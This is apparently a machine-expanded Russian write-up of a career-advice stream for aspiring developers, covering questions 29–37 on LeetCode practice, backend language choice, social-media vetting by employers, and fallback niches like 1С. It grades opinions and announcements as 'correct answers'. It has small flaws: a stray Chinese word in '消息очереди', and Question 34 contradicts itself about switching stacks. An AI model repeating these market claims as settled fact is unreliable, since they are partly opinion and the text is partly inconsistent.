- Меньше вакансий в России по сравнению с Java (но растёт)
Сравнительная таблица:
| Критерий | Node.js | Java | Go |
|---|---|---|---|
| Порог входа | Низкий | Высокий | Средний |
| Конкуренция (junior) | Высокая | Средняя | Низкая |
| Производительность | Средняя | Высокая | Высокая |
| Конкурентность | Event loop | Threads | Goroutines |
| Размер рынка | Большой | Огромный | Растёт |
| Зарплата (middle) | Средняя | Высокая | Высокая |
| Область применения | Web API, BFF | Enterprise, Big Data | Микросервисы, DevOps, Cloud |
Рекомендация для кандидата:
Если цель — максимизировать шансы на трудоустройство и зарплату, стоит рассмотреть Go или Java как основной бэкенд-стек, сохраняя фронтенд как дополнительную компетенцию. Комбинация «фронтенд + Go/Java бэкенд» делает кандидата fullstack-разработчиком с редким и востребованным набором навыков.
Конкретный план:
- Выбрать Go или Java как основной бэкенд-язык
- Изучить основы: синтаксис, стандартная библиотека, конкурентность
- Освоить фреймворк: Gin/Echo для Go, Spring Boot для Java
- Научиться работать с базами данных: PostgreSQL, Redis
- Собрать fullstack-проект: фронтенд (React/Vue) + бэкенд (Go/Java) + деплой
- Решать алгоритмические задачи на LeetCode (минимум 100 задач)
Вопрос 29. Сколько задач на LeetCode нужно решить для уровня Junior и когда начинать искать работу?
Таймкод: 01:27:15
Ответ собеседника: Правильный. Интервьюер рекомендовал решить около 100 задач на LeetCode для уверенного уровня Junior. Если человек решает по 2-3 задачи Medium в день, он уже давно должен искать вакансии. Главный совет — не бояться идти на собеседования, чтобы понять реальный уровень и требования рынка. Многие люди тормозят, потому что думают что не готовы, но собесы — это нормальный процесс обучения.
Правильный ответ:
Отличная рекомендация от интервьюера. Разберём подробнее.
Почему 100 задач — хорошая ориентир:
Для Junior-уровня важно покрыть основные паттерны:
- 20-30 задач на массивы и строки — двухуказательный метод, скользящее окно, префиксные суммы
- 15-20 задач на хеш-таблицы — подсчёт, группировка, поиск дубликатов
- 15-20 задач на стек и очередь — скобки, монотонный стек, BFS
- 10-15 задач на связные списки — двухуказательный метод, реверс, циклы
- 10-15 задач на деревья — DFS, BFS, рекурсия
- 5-10 задач на бинарный поиск
- 5-10 задач на динамическое программирование (базовые)
Когда начинать искать работу:
Ключевая мысль интервьюера — не ждать идеального момента. Вот признаки готовности:
- Решено 50+ задач (в том числе 20+ Medium)
- Можешь объяснить решение и сложность
- Есть хотя бы один полноценный проект с деплоем
- Знаешь основы стека (HTTP, Git, базы данных)
- Можешь написать простой REST API
Если всё это есть — пора начинать откликаться. Собеседования — это тоже обучение: каждое интервью показывает пробеги, которые нужно закрыть.
Практический план подготовки:
Месяц 1: Основы
- 50 задач Easy на LeetCode
- 1 полноценный проект с деплоем
- Изучение Git, основ бэкенда
Месяц 2: Углубление
- 30 задач Medium
- Повторение пройденных задач
- Начало откликов на вакансии
Месяц 3: Практика
- 20+ задач Medium
- Мок-интервью
- Активные собеседования
Важные ресурсы:
- LeetCode — основная платформа для задач
- NeetCode.io — структурированный план подготовки с видеоразборами
- Grind 75 — список из 75 наиболее важных задач
- Pramp — бесплатные мок-интервью с другими кандидатами
- Interviewing.io — анонимные мок-интервью с инженерами из крупных компаний
Главный совет: паралич анализа — враг прогресса. Лучше пойти на собеседование и получить фидбек, чем ещё 3 месяца «готовиться». Рынок — лучший учитель.
Вопрос 30. Какой бэкенд-язык выбрать при переходе с фронтенда: Java, Go, Kotlin или остаться в фронтенде?
Таймкод: 01:29:15
Ответ собеседника: Правильный. Интервьюеры обсуждали выбор бэкенд-языка. Один считает что лучше идти в DevOps, а не в бэкенд. Если выбирать язык, то Java — банки активно нанимают джавистов, но требуют опыт 5-7 лет для работы с высокими нагрузками. Другой интервьюер предложил Kotlin как более современную альтернативу Java. Также обсуждали 1С как нишу с меньшей конкуренцией, где можно быстро устроиться и параллельно учить другой язык.
Правильный ответ:
Это дискуссионный вопрос, и мнения интервьюеров разошлись. Разберём каждый вариант.
Java — корпоративный стандарт:
Плюсы:
- Огромный рынок вакансий, особенно в банках, телекоме, крупном e-commerce
- Стабильность и предсказуемость карьерного роста
- Высокие зарплаты на middle/senior уровнях
- Зрелая экосистема: Spring Boot, Hibernate, Kafka, Elasticsearch
Минусы:
- Высокий порог входа: JVM, паттерны проектирования, фреймворки
- Многословность кода
- Для работы с высокими нагрузками действительно требуется значительный опыт
- Конкуренция на уровне middle/senior
Go — современный выбор:
Плюсы:
- Простой язык — можно освоить за 2-3 месяца до уровня, достаточного для работы
- Встроенная конкурентность (горутины, каналы) — не нужно разбираться с потоками
- Высокая производительность из коробки
- Растущий спрос, особенно в микросервисах, облачных платформах, DevOps-инструментах
- Меньше конкуренция по сравнению с Java и Node.js
- Хорошо оплачивается
Минусы:
- Меньше вакансий в России по сравнению с Java (но тренд положительный)
- Меньше готовых решений и фреймворков
- Некоторые компании считают Go «нишевым» языком
Kotlin — современная альтернатива Java:
Плюсы:
- Полная совместимость с Java-экосистемой
- Более лаконичный и безопасный синтаксис
- Официальный язык для Android-разработки
- Растущая популярность в бэкенде (Ktor, Spring Boot с Kotlin)
Минусы:
- Меньше вакансий, чем на Java
- Компилируется в JVM — наследует некоторые ограничения Java
- Меньше специалистов на рынке = меньше ресурсов для обучения
DevOps — альтернативный путь:
Плюсы:
- Высокий спрос и зарплаты
- Меньше конкуренция на входе
- Можно начать с фронтенд-опытом (CI/CD, деплой фронтенда)
- Хорошо сочетается с навыками разработки
Минусы:
- Требует знания Linux, Docker, Kubernetes, облачных платформ
- Другой тип мышления — больше инфраструктура, меньше код
1С — нишевый вариант:
Плюсы:
- Очень низкая конкуренция
- Быстрое трудоустройство
- Стабильный доход
- Можно параллельно изучать другой язык
Минусы:
- Узкая специализация, сложно перейти в общую разработку
- Специфический язык и парадигма
- Ограниченный потолок зарплаты по сравнению с общей разработкой
Рекомендация для кандидата:
Для человека с фронтенд-опытом, который хочет стать fullstack и максимизировать шансы на трудоустройство, оптимальный путь:
- Go как основной бэкенд-язык — быстрое обучение, растущий спрос, меньше конкуренция
- Фронтенд как дополнительная компетенция — делает кандидата fullstack
- DevOps-навыки как бонус — Docker, CI/CD, базовые знания Kubernetes
Комбинация «React/Vue + Go + базовый DevOps» — это редкий и востребованный набор, который выделяет кандидата на рынке.
Вопрос 31. Важность цифровой репутации: что проверяют HR и служба безопасности при найме?
Таймкод: 01:30:31
Ответ собеседника: Правильный. Интервьюер рассказал что HR и служба безопасности проверяют кандидатов через соцсети: подписки на паблики, аватарки в Telegram, никнеймы. Например, кринжовые фото, ники типа 'PussyHunter', подписки на контент для взрослых могут негативно повлиять на трудоустройство, особенно в банки. Рекомендовал почистить соцсети и использовать нейтральный контент при поиске работы.
Правильный ответ:
Это практический совет, который многие кандидаты игнорируют. Разберём подробнее.
Что проверяют HR и служба безопасности:
Социальные сети:
- ВКонтакте, Telegram, Instagram* — публичные посты, фото, подписки
- Подписки на паблики — могут рассказать о ценностях и интересах
- Фотографии — неуместный контент может стать причиной отказа
- Комментарии и репосты — агрессивные, экстремистские или дискриминационные высказывания
Профессиональные платформы:
- GitHub — качество кода, активность, содержание репозиториев
- LinkedIn — профиль, рекомендации, активность
- Stack Overflow, Habr — вопросы и ответы
Поисковые системы:
- Результаты поиска по имени и фамилии
- Упоминания в новостях или на форумах
Конкретные красные флаги:
- Никнеймы непрофессионального характера
- Фото с алкоголем, наркотиками, в непристойных позах
- Подписки на контент для взрослых
- Агрессивные или экстремистские высказывания
- Жалобы на бывших работодателей
- Утечки конфиденциальной информации с предыдущих мест работы
Что делать:
1. Почистить существующий контент.
Проверьте свои аккаунты глазами HR. Удалите или скройте всё, что может вызвать вопросы.
2. Использовать разные аккаунты для разных целей.
- Личный аккаунт — приватный, только для друзей
- Профессиональный аккаунт — публичный, с нейтральным контентом
3. Создать положительный цифровой след.
- Публичный GitHub с качественными проектами
- Профиль на LinkedIn с описанием навыков
- Статьи на Habr или о технологиях
- Участие в open-source проектах
4. Настроить приватность.
В ВКонтакте: Настройки → Приватность → «Кто видит мою страницу» → «Только друзья». Но помните: аватарка и имя остаются публичными.
5. Проверить себя.
Введите своё имя в поисковик и посмотрите что находят другие. Это то же самое, что увидит HR.
Особенно актуально для:
- Банков и финансовых организаций — самые строгие проверки службой безопасности
- Государственных компаний — проверка на благонадёжность
- Крупных корпораций — есть выделенные HR-специалисты для проверки
Важно понимать: это не про цензуру или ограничение свободы. Это про профессиональный образ. Так же как на собеседование приходят в опрятной одежде, так и цифровой образ должен быть уместным.
Вопрос 32. Стратегия трудоустройства: идти в менее конкурентные ниши или долбить в одну точку?
Таймкод: 01:35:06
Ответ собеседника: Правильный. Интервьюеры обсуждали стратегию трудоустройства. Рекомендовали идти туда где меньше конкуренция, например 1С, где можно устроиться за месяц, получать зарплату и параллельно учить Java или другой язык для перехода. Сравнили со своей стратегией поступления в Бауманку через олимпиады вместо ЕГЭ, чтобы обойти высокую конкуренцию. Совет: если не получается устроиться фронтендером месяцами, лучше пойти в менее конкурентную нишу и развиваться оттуда.
Правильный ответ:
Это стратегический вопрос, и аналогия с Бауманкой через олимпиады — отличная иллюстрация.
Две стратегии — разбор:
Стратегия 1: «Долбить в одну точку»
Постоянно откликаться на вакансии фронтенд-разработчика, готовиться к собеседованиям, решать задачи.
Плюсы:
- Фокус на желаемом направлении
- Не нужно тратить время на изучение другого стека
Минусы:
- Высокая конкуренция — десятки кандидатов на одну позицию
- Можно месяцами получать отказы, что демотивирует
- Нет дохода в процессе поиска
- Риск выгорания
Стратегия 2: «Обходной путь»
Устроиться в менее конкурентную нишу (1С, QA automation, техподдержка, DevOps), получать опыт и зарплату, параллельно развиваться в желаемом направлении.
Плюсы:
- Быстрое трудоустройство
- Стабильный доход
- Опыт работы в IT-компании (даже в другой роли)
- Время и ресурсы для обучения основного стека
- Внутренние переходы — часто проще сменить роль внутри компании
Минусы:
- Нужно тратить время на изучение «промежуточного» стека
- Риск застрять в нише, если не продолжать учиться
- 1С — специфическая экосистема, не переносится напрямую в общую разработку
Рекомендация:
Для текущего рынка (2025) стратегия обходного пути часто более прагматична. Конкретный план:
Вариант А — через 1С:
- Изучить основы 1С за 1-2 месяца
- Устроиться стажёром/джуниором в 1С-компанию
- Параллельно учить Go/Java и решать задачи на LeetCode
- Через 6-12 месяцев перейти в общую разработку с опытом работы в IT
Вариант Б — через QA Automation:
- Изучить основы тестирования и автоматизации (Selenium, Playwright)
- Устроиться QA Automation стажёром
- Писать автотесты на Python/Java/Go — это тоже программирование
- Перейти в разработку изнутри
Вариант В — через DevOps:
- Изучить Linux, Docker, CI/CD, основы сетей
- Устроиться DevOps-стажёром или системным администратором
- Автоматизировать процессы с помощью Python/Go
- Перейти в бэкенд-разработку
Вариант Г — через фриланс/стажировки:
- Найти неоплачиваемую или низкооплачиваемую стажировку
- Получить реальный опыт работы в команде
- Через 3-6 месяцев перейти на полноценную позицию
Ключевой принцип: любой вход в IT лучше, чем бесконечная подготовка без опыта. Опыт работы в IT-компании, даже в смежной роли, открывает двери, которые закрыты для «самоучек без опыта».
Вопрос 33. Стоит ли получать высшее образование в 36 лет при наличии среднего профессионального?
Таймкод: 01:39:57
Ответ собеседника: Правильный. Интервьюеры обсуждали вопрос образования. Один считает что в 36 лет нет смысла получать высшее образование — лучше сразу искать работу и выбирать конкретное направление. Другой поделился своим опытом: мог поступить на физфак МГУ, но отказался, потому что там только решают задачи без практики. Считает что базовое образование важно, но дальше нужно выбирать конкретную специализацию. Третий подтвердил что в 36 лет высшее образование точно не нужно.
Правильный ответ:
Это дискуссионный вопрос, но мнения интервьюеров сходятся — в 36 лет высшее образование в сфере IT не является необходимым.
Аргументы против высшего образования в 36 лет:
Время. 4 года бакалавриата — это 4 года, которые можно потратить на получение реального опыта. К моменту выпуска у человека будет 4 лет коммерческого опыта, что ценится значительно выше диплома.
Релевантность. Университетские программы отстают от индустрии на 5-10 лет. За время обучения технологии устаревают, а программа остаётся прежней.
Возраст. В 36 лет выпускник будет конкурировать с 22-летними выпускниками. Работодатели могут предпочесть более молодого кандидата с аналогичным дипломом.
Стоимость возможности. 4 года обучения = 4 года потенциального дохода и карьерного роста.
Когда высшее образование всё же может быть полезно:
- Для визы/переезда — некоторые страны учитывают наличие диплома при оформлении рабочей визы
- Для госструктур — в государственных организациях диплом может быть формальным требованием
- Для саморазвития — если есть время и деньги, и обучение не мешает работе
- Для фундаментальных знаний — если хотите перейти в науку, ML, компьютерное зрение
Альтернативы высшему образованию:
- Онлайн-курсы — Coursera, Stepik, Яндекс Практикум
- Сертификации — AWS, Google Cloud, Kubernetes (CKA)
- Open-source контрибуции — реальный опыт, видимый сообществу
- Pet-проекты — портфолио, которое говорит больше диплома
- Стажировки — быстрый вход в профессию
Итог: в IT диплом — это плюс, но не обязательное условие. Опыт, навыки и портфолио ценятся значительно выше. В 36 лет с средним профессиональным образованием лучше сфокусироваться на получении практического опыта и построении карьеры, чем тратить 4 года на формальное образование.
Вопрос 34. Стоит ли продолжать искать работу фронтендером с React/Node.js стеком без коммерческого опыта?
Таймкод: 01:43:47
Ответ собеседника: Правильный. Интервьюер рекомендовал человеку с нулевым коммерческим опытом идти в ВКонтакте (VK). На вопрос стоит ли бросить Node.js и React и пойти на Java, ответил утвердительно — Java и Go более перспективны. Если человек убил 2 года на фронтенд, то рискует убить ещё 2-3 года на поиск работы. Лучше перейти на Java, так как уже есть понимание языка, задач, баз данных — нужно только изучить новый язык и бэкенд-разработку, что займёт около года.
Правильный ответ:
Это важный стратегический вопрос. Разберём рекомендацию интервьюера.
Проблема с React/Node.js для безопытного кандидата:
- Огромная конкуренция среди junior-разработчиков
- Многие фронтендеры автоматически становятся fullstack через Node.js
- Работодатели часто предпочитают кандидатов с опытом
- Без коммерческого опыта цикл «отклик → отказ» может длиться месяцами
Почему Java/Go — более перспективный путь:
Меньше конкуренции. Меньше самоучек выбирают Java/Go как первый язык. Большинство приходят в бэкенд через Node.js или Python. Это означает меньше кандидатов на одну позицию.
Высокий спрос. Банки, телеком, крупный e-commerce активно ищут Java/Go разработчиков. Эти отрасли менее подвержены кризисам и активно нанимают.
Более высокий потолок зарплаты. Middle/Senior Java и Go разработчики зарабатывают больше, чем фронтендеры того же уровня.
Перенос навыков. Если человек 2 года изучал программирование, он уже понимает:
- Основы алгоритмов и структур данных
- Как работают базы данных
- Как строится API
- Git, Docker, основы DevOps
- Принципы ООП
Всё это применимо к Java/Go. Нужно изучить только новый язык и экосистему.
Конкретный план перехода на Java:
Месяц 1-2: Основы Java
- Синтаксис, ООП, коллекции
- Книга: «Java. Полное руководство» Шилдт / «Effective Java» Блох
- Задачи на LeetCode на Java
Месяц 3-4: Spring Boot
- REST API, JPA/Hibernate, PostgreSQL
- Курс: «Spring Framework Guru» или «Java Brains» на YouTube
- Пет-проект: CRUD API с авторизацией
Месяц 5-6: Углубление
- Микросервисы, 消息очереди (Kafka/RabbitMQ), кеширование (Redis)
- Docker, базовый Kubernetes
- Второй пет-проект: микросервисная архитектура
Месяц 7+: Поиск работы
- Отклики на вакансии Junior Java Developer
- Активное собеседование
Конкретный план перехода на Go:
Месяц 1: Основы Go
- Синтаксис, горутины, каналы, интерфейсы
- Книга: «The Go Programming Language» Донован
- Официальный tour: go.dev/tour
Месяц 2-3: Веб-разработка
- Gin/Echo фреймворк
- Работа с PostgreSQL (pgx, GORM)
- Пет-проект: REST API
Месяц 4-5: Углубление
- Тестирование, gRPC, Docker
- Второй пет-проект
Месяц 6+: Поиск работы
Рекомендация про ВКонтакте (VK):
Крупные компании вроде VK часто имеют программы стажировок и менее строгие требования к опыту. Это может быть хорошим входом в индустрию. Однако стоит рассматривать это как один из вариантов, а не единственную стратегию.
Главный совет: 2 года на изучение программирования — это серьёзная база. Не стоит её терять, переключаясь на другой стек. Лучше использовать имеющиеся знания и добавить к ним бэкенд-язык с высоким спросом.
Вопрос 35. Насколько востребованы инженеры-электрики и сантехники в сравнении с IT-специалистами?
Таймкод: 01:45:03
Ответ собеседника: Правильный. Интервьюеры обсуждали востребованность инженеров-электриков и сантехников. Один поделился что он инженер-гидравлик и понимает необходимость фильтров грубой очистки, компенсаторов и других систем. Считает что можно хорошо зарабатывать, делая ремонты премиум-класса. Другой подтвердил что электрики и сантехники очень востребованы и хорошо оплачиваются, особенно при работе с отделочниками и ремонтом квартир. Привёл пример что один шкаф может стоить до 500 000 рублей.
Правильный ответ:
Это дискуссионный вопрос, не связанный напрямую с разработкой, но интересный для понимания рынка труда в целом.
Сравнение инженерных специальностей и IT:
Инженеры-электрики и сантехники:
Плюсы:
- Стабильный спрос — люди всегда будут строить и ремонтировать
- Возможен фриланс и частные заказы
- Премиум-сегмент может приносить высокий доход
- Не требует постоянного изучения новых технологий (как IT)
Минусы:
- Физический труд
- Доход ограничен количеством рабочих часов
- Зависимость от сезона и экономической ситуации
- Сложнее масштабировать доход
IT-специалисты:
Плюсы:
- Высокий потолок дохода
- Возможность удалённой работы
- Масштабируемость — один продукт может обслуживать миллионы пользователей
- Гибкость — можно менять специализацию, работать на себя
Минусы:
- Необходимость постоянного обучения
- Высокая конкуренция на входе
- Риск выгорания
- Нестабильность в некоторых секторах (стартапы)
Вывод: обе сферы могут быть прибыльными. Ключевое — уровень мастерства и умение работать с клиентами. Премиум-электрик или сантехник может зарабатывать сопоставимо с middle IT-специалистом, но потолок дохода в IT выше. При этом вход в инженерные специальности может быть быстрее и с меньшей конкуренцией.
Вопрос 36. Какие направления в IT наиболее перспективны для трудоустройства в 2025 году?
Таймкод: 01:46:37
Ответ собеседника: Правильный. Интервьюеры дали рекомендации по выбору направления в IT. Советуют идти в бэкенд, выбирая Java или Golang. Также рекомендуют обратить внимание на тестирование автоматизации (QA Automation) — это очень востребованное направление с меньшей конкуренцией. Отмечают что аналитики, проджект-менеджеры и продакт-менеджеры сейчас менее востребованы. Чем сложнее направление, тем меньше людей и больше возможностей. Также рекомендуют рассмотреть DevOps и безопасность как перспективные направления.
Правильный ответ:
Отличная сводка рекомендаций от интервьюеров. Разберём подробнее.
Наиболее перспективные направления в 2025 году:
1. Бэкенд-разработка (Java/Go) — высокий спрос.
Java и Go — лидеры корпоративного бэкенда. Банки, финтех, телеком, крупный e-commerce активно нанимают. Конкуренция ниже, чем во фронтенде и Node.js, а зарплаты выше.
2. QA Automation — недооценённая ниша.
Многие хотят быть разработчиками, но не хотят заниматься тестированием. Это создаёт дефицит QA Automation инженеров. При этом:
- Порог входа ниже, чем в разработку
- Можно писать код на Python, Java или Go
- Востребованность стабильно высокая
- Хороший путь для перехода в разработку позже
3. DevOps/Platform Engineering — растущий спрос.
Компании всё больше переходят на облака и микросервисы, что требует DevOps-инженеров. Нужны знания:
- Linux, Docker, Kubernetes
- CI/CD (GitLab CI, GitHub Actions, Jenkins)
- Облачные платформы (AWS, GCP, Yandex Cloud)
- Infrastructure as Code (Terraform, Ansible)
- Мониторинг (Prometheus, Grafana)
4. Информационная безопасность — критический дефицит.
Количество кибератак растёт, и компании инвестируют в безопасность. Направления:
- Application Security (AppSec)
- DevSecOps
- Penetration Testing
- Security Operations Center (SOC)
5. Data Engineering — данные как актив.
Компании собирают огромные объёмы данных и нуждаются в инженерах, которые строят пайплайны обработки:
- Apache Kafka, Apache Spark
- Airflow, dbt
- Хранилища данных (ClickHouse, Snowflake, BigQuery)
Менее востребованные направления (по мнению интервьюеров):
- Аналитики данных — рынок перенасыщен junior-аналитиками
- Project/Product Manager — много кандидатов, мало вакансий
- Frontend (React/Node.js) — высокая конкуренция на входе
Ключевой принцип:
«Чем сложнее направление, тем меньше людей и больше возможностей» — это золотое правило. Выбирайте направление, где порог входа выше, но и конкуренция ниже. Это инвестиция в долгосрочную карьеру.
Вопрос 37. Планы по запуску стримов и марафонов по DevOps
Таймкод: 01:48:44
Ответ собеседника: Правильный. Интервьюеры анонсировали планы по запуску стримов и марафонов по DevOps. Планируют показывать настройку инфраструктуры начиная от написания кода, деплоя, настройки Jenkins, виртуальных машин, доменов, IP-адресов, до Kubernetes кластеров. Целевая аудитория — фронтендеры, бэкендеры, тестировщики, аналитики. Планируют провести полумарафоны на выходных, где за 2 дня настроят полную инфраструктуру стартапа. Это будет закрытый формат для тех кто реально хочет научиться.
Правильный ответ:
Это анонс образовательной инициативы интервьюеров. Разберём что предлагается и почему это ценно.
Что планируется:
Практические стримы и марафоны по настройке полной инфраструктуры — от кода до production. Это именно тот пробел, который есть у большинства разработчиков: они умеют писать код, но не понимают как он попадает на сервер и работает в production.
Программа марафона:
- Написание кода — создание простого приложения
- Деплой — настройка виртуальной машины (VPS)
- CI/CD — настройка Jenkins или GitLab CI
- Домены и сеть — привязка домена, настройка DNS, IP-адреса
- Контейнеризация — Docker, Docker Compose
- Оркестрация — Kubernetes кластер
- Мониторинг — Prometheus, Grafana
- Безопасность — SSL/TLS, firewall, секреты
Почему это ценно:
Большинство курсов по DevOps — теоретические. Практический марафон, где за 2 дня настраивается реальная инфраструктура, даст навыки, которые можно сразу применить в работе. Это именно то, что отличает junior от middle — понимание полного цикла доставки кода до production.
Рекомендация для кандидата:
Если марафон будет доступен — обязательно участвовать. DevOps-навыки — это мощный дифференциатор на рынке труда. Разработчик, который может не только написать код, но и настроить инфраструктуру для его работы, значительно ценнее, чем тот, кто только пишет код.
Самостоятельная подготовка к марафону:
Если хотите подготовиться заранее, изучите основы:
- Linux — базовые команды, файловая система, права доступа
- Docker — создание контейнеров, Dockerfile, Docker Compose
- Git — ветвление, PR, CI/CD пайплайны
- Сети — IP-адреса, DNS, порты, HTTP/HTTPS
